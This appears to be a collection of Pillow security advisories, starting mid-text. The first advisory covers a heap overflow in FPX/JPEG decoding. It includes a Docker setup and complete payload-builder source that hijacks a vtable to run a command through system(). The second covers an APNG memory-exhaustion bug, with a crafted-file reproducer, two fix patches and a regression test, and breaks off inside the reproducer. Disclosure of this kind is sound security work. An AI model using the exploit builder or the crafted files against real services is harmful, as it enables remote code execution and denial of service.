This is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional `olefile` dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal `Image.open()` / `load`, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds. ##### Annex A: Docker setup The PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (`setarch -R`) to reduce the system knowledge requirements. The single `--security-opt seccomp=unconfined` flag on `docker run` is required only because turning ASLR off uses the `personality()` syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own. **1. Build the image.** Put `vulnerable.py` (PoC) and `make_payload.py` ([Annex B](#annex-b-payload-builder-source)) in a directory with this `Dockerfile`: ```dockerfile FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54 RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates \ python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \ && rm -rf /var/lib/apt/lists/* RUN python3.12 -m venv /opt/v \ && /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47" ENV PATH=/opt/v/bin:$PATH WORKDIR /poc ##### ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap. ENTRYPOINT ["setarch", "-R"] CMD ["bash"] ``` ```console $ docker build -t fjpeg1-poc . ... Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB) Successfully installed Pillow-12.2.0 olefile-0.47 Successfully built 370344c832b6 Successfully tagged fjpeg1-poc:latest ``` **2. Start the (ASLR-disabled) container shell** with the scripts mounted: ```sh docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc ``` ##### Annex B: payload builder source `make_payload.py`: ```python #!/usr/bin/env python3 """F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain). Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCS_UNKNOWN path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type. --crash flood an adjacent ob_type with 0x42.. -> SIGSEGV in PyBuffer_Release (default) CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call *--target Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help.""" import sys, io, struct, math, argparse from PIL import Image W, H = 65000, 2 SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748 FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B") o32 = lambda v: struct.pack("<I", v) p64 = lambda v: struct.pack("<Q", v) INV = bytes(255 - i for i in range(256)) # 8-bit inversion table def jpeg(src): b = io.BytesIO() Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0) return b.getvalue() def decode_row(jpg): # Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The # last decoded row is the one that lands in (and overflows past) the buffer. px = Image.open(io.BytesIO(jpg)).tobytes() return px[(H - 1) * W * 4:].translate(INV) def craft(targets, iters=40): # decode-feedback exact write (JPEG is lossy -> iterate to converge) # base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort). src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0 for off, t in targets: for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v for it in range(iters): dec = decode_row(jpeg(src)); bad = 0 for off, t in targets: for i, v in enumerate(t): if dec[off + i] != v: bad += 1 src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v)) if not bad: break return jpeg(src), it, bad def maxid_for(w, h): s, i = max(w, h), 1 while s > 64: s //= 2; i += 1 return i - 1 MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID def image_contents(): ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE) # FPX color -> rawmode "LA" props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))] voff = 8 + 8 * len(props); idx = vals = b"" for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v) body = o32(len(props)) + idx + vals return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16 + o32(48) + o32(len(body) + 4) + body) def subimage_header(): b = bytearray(80) for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2), (56, 36), (60, 16), (64, 0), (72, 2)]: struct.pack_into("<I", b, o, v) return bytes(b) def build_fpx(jpg, out): data = b"\x00" * 28 + jpg assert len(data) <= DATA_PAD, (len(data), DATA_PAD) pad = lambda x: x + b"\x00" * ((-len(x)) % SECT) sd = {"ic": pad(image_contents().ljust(4096, b"\x00")), "hdr": pad(subimage_header().ljust(4096, b"\x00")), "dat": pad(data.ljust(DATA_PAD, b"\x00"))} ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"] dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order) fsec = 1 while fsec * 128 < fsec + content: fsec += 1 pos = {}; cur = fsec; dstart = cur; cur += dsec for k in order: pos[k] = cur; cur += ns(sd[k]) total = cur fat = [FREESECT] * (fsec * 128) for s in range(fsec): fat[s] = FATSECT def chain(a, n): for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN chain(dstart, dsec) for k in order: chain(pos[k], ns(sd[k])) def de(nm, t, ch, l, r, st, sz, cl=b"\x00" * 16): n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64] return (n + struct.pack("<HBB", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r) + o32(ch) + cl + o32(0) + b"\x00" * 16 + o32(st) + struct.pack("<Q", sz)) directory = pad(b"".join([ de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID), de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0), de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])), de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0), de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])), de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))])) h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1") for o, fmt, *v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec), (48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]: struct.pack_into(fmt, h, o, *v) for i in range(109): struct.pack_into("<I", h, 76 + i * 4, i if i < fsec else FREESECT) secs = [b""] * total for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s * 128:(s + 1) * 128]) for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT] for k in order: for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT] open(out, "wb").write(bytes(h) + b"".join(secs)) def xhex(s): return int(s, 16) SYSTEM_PLT = 0x4206c0 # system@plt in the image's non-PIE python3.12 (fixed, no libc leak) def main(): ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)") ap.add_argument("--out", required=True, help="output .fpx path") ap.add_argument("--crash", action="store_true", help="crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)") ap.add_argument("--heap-base", type=xhex, default=0xbaa000, help="fixed heap base of the 0-ASLR box (default 0xbaa000)") ap.add_argument("--offset", type=xhex, default=0x21e800, help="state->buffer - heap_base (default 0x21e800 -> S=0xdc8800)") ap.add_argument("--target", type=xhex, default=SENTINEL, help="value called via the hijacked vtable; pass %#x (system@plt) for " "command execution (default is a sentinel for an RIP-control demo)" % SYSTEM_PLT) ap.add_argument("--cmd", default="id", help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)") a = ap.parse_args() if a.crash: # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD # to make the decoded overflow bytes 0x42 -> the adjacent ob_type becomes 0x4242424242424242. build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out) print("[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 " "-> SIGSEGV in PyBuffer_Release (no addresses)" % a.out) return if len(a.cmd.encode()) > 7: sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before ob_type)") S = a.heap_base + a.offset A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000 # spray A = fake type, spray B = TARGET tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)), (OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")] # obj+0 -> rdi for system() tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)] # fake type -> spray B at +0xa0..+8 tg += [(o, p64(a.target)) for o in range(B0, B1, 8)] jpg, it, bad = craft(tg) build_fpx(jpg, a.out) print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d" % (a.out, S, a.target, a.cmd, it, bad)) print("[control] opening it: vtable hijack -> call *%#x with rdi -> %r" % (a.target, a.cmd)) if __name__ == "__main__": main() ``` #### Severity - CVSS Score: 9.2 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h](https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112398](https://nvd.nist.gov/vuln/detail/CVE-2026-112398) - [https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75](https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5x8w-8jj5-q52h) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: APNG background disposal allocates full canvas before decompression bomb check BIT-pillow-2026-112399 / [CVE-2026-112399](https://nvd.nist.gov/vuln/detail/CVE-2026-112399) / [GHSA-5xm2-6676-qcp9](https://github.com/advisories/GHSA-5xm2-6676-qcp9) <details> <summary>More information</summary> #### Details ``` ============================================================================ APNG background disposal allocates full canvas before decompression bomb check Location: src/PIL/PngImagePlugin.py:1000 in PngImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright. The bug is in `PngImageFile._seek()` in `src/PIL/PngImagePlugin.py` (around line 1000). For any APNG, `_open()` calls `self._seek(0)`. When the first `fcTL` chunk requests `OP_BACKGROUND` disposal, `_seek()` calls `Image.core.fill(self.mode, self.size)` with the full IHDR size, which allocates and zero-fills width×height×4 bytes. `OP_PREVIOUS` takes the same path, because frame 0 rewrites it to `OP_BACKGROUND`. This all happens inside the plugin factory, so `Image.open()`'s `_decompression_bomb_check(im.size)` only runs after the memory has been touched. A 1×1 frame rectangle passes the only checks on the way. Below available memory, the allocation is freed when `DecompressionBombError` propagates, so sustained pressure needs repeated or concurrent uploads. A 45000×45000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (`dispose_op` 0 vs 1). Both end in `DecompressionBombError`, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 ("Use disposal settings from previous frame", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached. ##### Details For an APNG whose first `fcTL` chunk requests `OP_BACKGROUND` disposal, `PngImageFile._open()` creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before `Image.open()` gets to `_decompression_bomb_check(im.size)`, so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched. The following 126-byte file (all chunk lengths and CRCs valid) makes `Image.open(io.BytesIO(data))`, with default `MAX_IMAGE_PIXELS` and no `load()`, reach 1.86 GB resident (`ru_maxrss`) and then raise `DecompressionBombError`. The byte-identical file with `dispose_op=0` raises the same error at 17 MB. ``` IHDR width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA) acTL num_frames=2 num_plays=0 fcTL seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0 IDAT zlib(00 00 00 00 00) # one 1x1 RGBA scanline IEND ``` With `width=height=45000` (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB `RLIMIT_AS` it fails with `MemoryError` from the allocator instead of `DecompressionBombError`; without a cap, on an 8 GB host with no swap, the process is OOM-killed. ##### Code path `Image.open()` runs the bomb check only after the plugin's constructor (and therefore `_open()`) has returned: ```python ##### src/PIL/Image.py:3699-3701 im = factory(fp, filename) _decompression_bomb_check(im.size) return im ``` For a plain PNG that ordering is fine: `PngImageFile._open()` only parses chunks up to the first `IDAT` and records `self._size` from `IHDR`; nothing is allocated from it. For an APNG (`acTL` seen, so `im_n_frames` is set) `_open()` additionally positions on frame 0: ```python ##### src/PIL/PngImagePlugin.py:845-853 if self.png.im_n_frames is not None: … self._seek(0) ``` `_seek(0)` copies `disposal` and `bbox` from the `fcTL` chunk into `self.dispose_op` / `self.dispose_extent` and then prepares the disposal image for the *next* frame eagerly, using the full image size: ```python ##### src/PIL/PngImagePlugin.py:991-1001 if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS: self.dispose_op = Disposal.OP_BACKGROUND self.dispose = None if self.dispose_op == Disposal.OP_PREVIOUS: … elif self.dispose_op == Disposal.OP_BACKGROUND: self.dispose = Image.core.fill(self.mode, self.size) self.dispose = self._crop(self.dispose, self.dispose_extent) ``` `Image.core.fill` is `_fill()` in `src/_imaging.c:711`, which does `ImagingNewDirty(mode, xsize, ysize)` followed by `ImagingFill()`; `ImagingFill` (`src/libImaging/Fill.c:23`) writes every row, so the whole `width*height*4` bytes become resident rather than merely reserved. `self.size` here is the IHDR size (22000×22000), not the 1×1 frame rectangle. The `_crop` on the next line does call `_decompression_bomb_check`, but on the `fcTL` rectangle (1×1) and only after the fill has completed. Lines 991-992 rewrite `OP_PREVIOUS` to `OP_BACKGROUND` on frame 0, so `dispose_op=2` takes the same path (verified: identical 1.86 GB peak). When the first `fcTL` rectangle is large, the `_crop` copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000×13000 full-frame `fcTL` (below the error threshold, so `Image.open()` succeeds with only a `DecompressionBombWarning`) peaks at 1.31 GB for a 0.66 GB canvas. The only validation `chunk_fcTL` applies (`src/PIL/PngImagePlugin.py:740-745`) is that the frame rectangle fits inside the IHDR size, which a 1×1 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to `_open_core`, `_decompression_bomb_check((22000, 22000))` raises, and the 1.9 GB core image is released when the half-constructed `PngImageFile` is discarded. The eager full-size fill in `_seek()` was introduced in `5e4e0fa6ee67` ("Use disposal settings from previous frame", 2020-12-24) and first shipped in 8.1.0; before it, the `OP_BACKGROUND` fill lived in `load_end()` and could not be reached from `Image.open()`. ##### Impact Any application that calls `Image.open()` on untrusted bytes with default settings — the configuration in which the decompression-bomb check is supposed to make that call cheap and safe — can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without `load()`, frame iteration, or `LOAD_TRUNCATED_IMAGES`. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host's free memory cause a transient multi-GB spike per request (≈15,000,000× amplification at 22000×22000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes `_accept` and chunk CRC checks as a well-formed APNG. This is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile — an allocation sized from file-declared numbers on a path `_decompression_bomb_check` does not cover — but here the uncovered path is `Image.open()` itself rather than a later `load()`/`seek()`. ##### Reproducing `repro` is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain `Image.open(io.BytesIO(data))` in a fresh child interpreter using default settings and no `load()`, and has each child report the exception it got and its own peak RSS (`ru_maxrss`). It needs about 2 GB of free RAM and finishes in about a second. The two files are 126 bytes each and differ in exactly one byte, the `dispose_op` of the first `fcTL` chunk: `0` (`OP_NONE`) for the control and `1` (`OP_BACKGROUND`) for the attack. Both declare IHDR 22000×22000 RGBA. That is 484 Mpixel, above the 2×`MAX_IMAGE_PIXELS` error threshold, so `Image.open()` has to reject both with `DecompressionBombError`. Each chunk has a job: - The `acTL` chunk (2 frames) makes `_open()` call `_seek(0)`. - The 1×1 `fcTL` rectangle passes `chunk_fcTL`'s bounds check and `_crop`'s bomb check. - The one-scanline `IDAT` ends header parsing. Expected output on this tree: ``` 126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults control dispose_op=0 OP_NONE -> DecompressionBombError peak RSS 17 MB attack dispose_op=1 OP_BACKGROUND -> DecompressionBombError peak RSS 1864 MB Image.open() touched a full 22000x22000 canvas before the bomb check ran BUG ``` Both files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after `Image.core.fill("RGBA", (22000, 22000))` has allocated and zero-filled about 1.9 GB. The script prints `BUG` if the attack child's peak RSS is at least 1000 MB and at least 20× the control's, or if the attack child is killed by `SIGKILL` (for example by the OOM killer on a small host). Otherwise it prints `OK`; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in `OK`. With either attached patch applied, both children report about 17–22 MB and the script prints `OK`. The allocation grows with the header, so it can be scaled by changing `SIZE` in the script. The 45000×45000 case (an 8.1 GB canvas) is covered in Details and is not part of the script. ##### Suggested fix Do not build the `OP_BACKGROUND` disposal image from the declared size during `_open()`. Two alternative patches are attached; both change only `src/PIL/PngImagePlugin.py`, and both add the same regression test to `Tests/test_file_apng.py` (a 2³¹−1 × 1 APNG built in memory with a 1×1 `OP_BACKGROUND` first frame must make `Image.open()` raise `DecompressionBombError`; on the current tree the fill fails first with `MemoryError`). Attached patch 1 is the preferred fix. **Attached patch 1** moves the fill to its only point of use, the `frame > 0` branch of `_seek()` right after `self.load()` — which can only run once `Image.open()` has returned (bomb check passed) and the canvas itself has been allocated — and, as `GifImagePlugin` already does, fills only the previous frame's dispose extent instead of a full canvas that is then cropped: ```diff --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile): # ensure previous frame was loaded self.load() + if self.dispose_op == Disposal.OP_BACKGROUND: + # Created here rather than in the previous _seek(), so that + # nothing is allocated from the declared image size before + # the decompression bomb check in Image.open() has run. + # Only dispose the extent of the previous frame. + x0, y0, x1, y1 = self.dispose_extent + self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0)) if self.dispose: self.im.paste(self.dispose, self.dispose_extent) self._prev_im = self.im.copy() @@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile): if self._prev_im: self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) - elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) ``` At that point `self.dispose_op` and `self.dispose_extent` still hold the previous frame's values (they are reassigned further down in `_seek`), so disposal semantics are unchanged; the `OP_PREVIOUS` copy stays eager because `load_end()` pastes into `_prev_im` in place (`src/PIL/PngImagePlugin.py:1110`). With this patch `Image.open()` allocates nothing from the declared size, including in the `DecompressionBombWarning` range. **Attached patch 2** is a smaller diff that keeps the eager disposal setup in `_seek()` and mirrors `GifImagePlugin._seek()`'s `OP_BACKGROUND` handling exactly: it computes the size of the `fcTL` rectangle (already validated by `chunk_fcTL` to lie within the image), runs `Image._decompression_bomb_check()` on it, and fills an image of only that size instead of filling `self.size` and cropping. It also narrows the `dispose_extent` annotation to `tuple[int, int, int, int]` so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside `Image.open()` — up to about 2×`MAX_IMAGE_PIXELS`×4 bytes (660 MB for a 13000×13000 full-frame `fcTL`, with `DecompressionBombWarning`) — and a first `fcTL` covering a canvas above the error threshold now raises `DecompressionBombError` from `_seek(0)` rather than from `Image.open()`'s own check. With either patch applied to a clean checkout, the reproducer prints `OK` and all 54 files in `Tests/images/apng/` decode byte-identically frame by frame, including after a rewind. ##### The patch (1 of 2) Create the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size Applies to `src/PIL/PngImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py index 15689476c..6e61c8b4b 100644 --- a/Tests/test_file_apng.py +++ b/Tests/test_file_apng.py @@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None: assert im.size == (128, 64) +def test_apng_dispose_op_background_decompression_bomb() -> None: + # The disposal image must not be created from the declared image size + # before the decompression bomb check in Image.open() has run. + # A canvas this wide cannot be allocated, so if it is attempted, + # a MemoryError is raised instead of a DecompressionBombError. + o16 = PngImagePlugin.o16 + o32 = PngImagePlugin.o32 + + b = BytesIO() + b.write(PngImagePlugin._MAGIC) + PngImagePlugin.putchunk(b, b"IHDR", o32(2**31 - 1), o32(1), b"\x08\x06\x00\x00\x00") + PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0)) + PngImagePlugin.putchunk( + b, + b"fcTL", + o32(0), # sequence number + o32(1), # width + o32(1), # height + o32(0), # x offset + o32(0), # y offset + o16(1), # delay numerator + o16(10), # delay denominator + bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]), + ) + PngImagePlugin.putchunk(b, b"IDAT") + PngImagePlugin.putchunk(b, b"IEND") + + with pytest.raises(Image.DecompressionBombError): + Image.open(b) + + def test_apng_blend() -> None: with Image.open("Tests/images/apng/blend_op_source_solid.png") as im: assert isinstance(im, PngImagePlugin.PngImageFile) diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py index 0eb2fd5e4..24fa587c1 100644 --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile): # ensure previous frame was loaded self.load() + if self.dispose_op == Disposal.OP_BACKGROUND: + # Created here rather than in the previous _seek(), so that + # nothing is allocated from the declared image size before + # the decompression bomb check in Image.open() has run. + # Only dispose the extent of the previous frame. + x0, y0, x1, y1 = self.dispose_extent + self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0)) if self.dispose: self.im.paste(self.dispose, self.dispose_extent) self._prev_im = self.im.copy() @@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile): if self._prev_im: self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) - elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) def tell(self) -> int: return self.__frame ``` ##### The patch (2 of 2) Bomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek() Applies to `src/PIL/PngImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py index 15689476c..6e61c8b4b 100644 --- a/Tests/test_file_apng.py +++ b/Tests/test_file_apng.py @@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None: assert im.size == (128, 64) +def test_apng_dispose_op_background_decompression_bomb() -> None: + # The disposal image must not be created from the declared image size + # before the decompression bomb check in Image.open() has run. + # A canvas this wide cannot be allocated, so if it is attempted, + # a MemoryError is raised instead of a DecompressionBombError. + o16 = PngImagePlugin.o16 + o32 = PngImagePlugin.o32 + + b = BytesIO() + b.write(PngImagePlugin._MAGIC) + PngImagePlugin.putchunk(b, b"IHDR", o32(2**31 - 1), o32(1), b"\x08\x06\x00\x00\x00") + PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0)) + PngImagePlugin.putchunk( + b, + b"fcTL", + o32(0), # sequence number + o32(1), # width + o32(1), # height + o32(0), # x offset + o32(0), # y offset + o16(1), # delay numerator + o16(10), # delay denominator + bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]), + ) + PngImagePlugin.putchunk(b, b"IDAT") + PngImagePlugin.putchunk(b, b"IEND") + + with pytest.raises(Image.DecompressionBombError): + Image.open(b) + + def test_apng_blend() -> None: with Image.open("Tests/images/apng/blend_op_source_solid.png") as im: assert isinstance(im, PngImagePlugin.PngImageFile) diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py index 0eb2fd5e4..0111a17d7 100644 --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile): msg = "image not found in APNG frame" raise EOFError(msg) if dispose_extent: - self.dispose_extent: tuple[float, float, float, float] = dispose_extent + self.dispose_extent: tuple[int, int, int, int] = dispose_extent # setup frame disposal (actual disposal done when needed in the next _seek()) if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS: @@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile): self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) + # only dispose the extent in this frame, rather than filling an + # image of the declared size before Image.open() has been able to + # run the decompression bomb check + x0, y0, x1, y1 = self.dispose_extent + dispose_size = (x1 - x0, y1 - y0) + + Image._decompression_bomb_check(dispose_size) + self.dispose = Image.core.fill(self.mode, dispose_size) def tell(self) -> int: return self.__frame ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 3,564 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 """ Image.open() on a 126-byte APNG allocates and zero-fills a full canvas of the header-declared size *before* Pillow's decompression-bomb check rejects it. We build two PNGs that are identical except for one byte, the first fcTL chunk's dispose_op: control: dispose_op = 0 (OP_NONE) attack: dispose_op = 1 (OP_BACKGROUND) Both declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS error threshold), so Image.open() must reject both with DecompressionBombError -- and that check exists precisely so the rejection is cheap. For the attack file, PngImageFile._open() -> _seek(0) first runs Image.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the bomb check reached. Each file is opened in a fresh interpreter that reports its own peak RSS. """ import struct import subprocess import sys import zlib SIZE = 22000 # 22000 * 22000 * 4 bytes = 1.94 GB canvas def chunk(cid, data): crc = zlib.crc32(cid + data) return struct.pack(">I", len(data)) + cid + data + struct.pack(">I", crc) def build_apng(dispose_op): ihdr = struct.pack(">IIBBBBB", SIZE, SIZE, 8, 6, 0, 0, 0) # 8-bit RGBA actl = struct.pack(">II", 2, 0) # animated: 2 frames -> _open() calls _seek(0) # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check), # delay 1/10 s, the dispose_op under test, blend_op 0 fctl = struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0) idat = zlib.compress(b"\x00" + b"\x00\x00\x00\x00") # one 1x1 RGBA scanline return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"acTL", actl) + chunk(b"fcTL", fctl) + chunk(b"IDAT", idat) + chunk(b"IEND", b"")) ##### What an application does with an untrusted upload: Image.open() with default ##### settings, no load(). Prints the outcome and this process's peak RSS in MB. OPEN_UNTRUSTED = """ import io, resource, sys from PIL import Image try: Image.open(io.BytesIO(sys.stdin.buffer.read())) outcome = "opened" except Exception as e: outcome = type(e).__name__ print(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024) """ def 